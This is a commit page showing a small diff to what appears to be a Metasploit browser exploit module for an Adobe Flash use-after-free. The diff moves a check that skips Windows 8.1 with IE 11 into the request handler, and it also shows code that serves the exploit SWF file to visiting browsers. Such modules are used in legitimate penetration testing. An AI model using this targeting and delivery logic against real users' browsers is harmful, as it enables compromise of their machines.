Skip to content

Commit a3ec56c

Browse files
committed
Do it in on_request_exploit because it's too specific
1 parent cefbdbb commit a3ec56c

File tree

1 file changed

+6
-9
lines changed

1 file changed

+6
-9
lines changed

modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb

Lines changed: 6 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -65,15 +65,6 @@ def initialize(info={})
6565

6666
false
6767
end,
68-
:ua_ver => lambda do |ver|
69-
# Not reliable enough yet, don't fire
70-
case target.name
71-
when 'Windows'
72-
return false if ver == '11.0'
73-
end
74-
75-
true
76-
end,
7768
:flash => lambda do |ver|
7869
case target.name
7970
when 'Windows'
@@ -114,6 +105,12 @@ def exploit
114105
def on_request_exploit(cli, request, target_info)
115106
print_status("Request: #{request.uri}")
116107

108+
if target_info[:os_name] == OperatingSystems::Match::WINDOWS_81 && target_info[:ua_ver] == '11.0'
109+
print_warning("Target setup not supported")
110+
send_not_found(cli)
111+
return
112+
end
113+
117114
if request.uri =~ /\.swf$/
118115
print_status('Sending SWF...')
119116
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})

0 commit comments

Comments
 (0)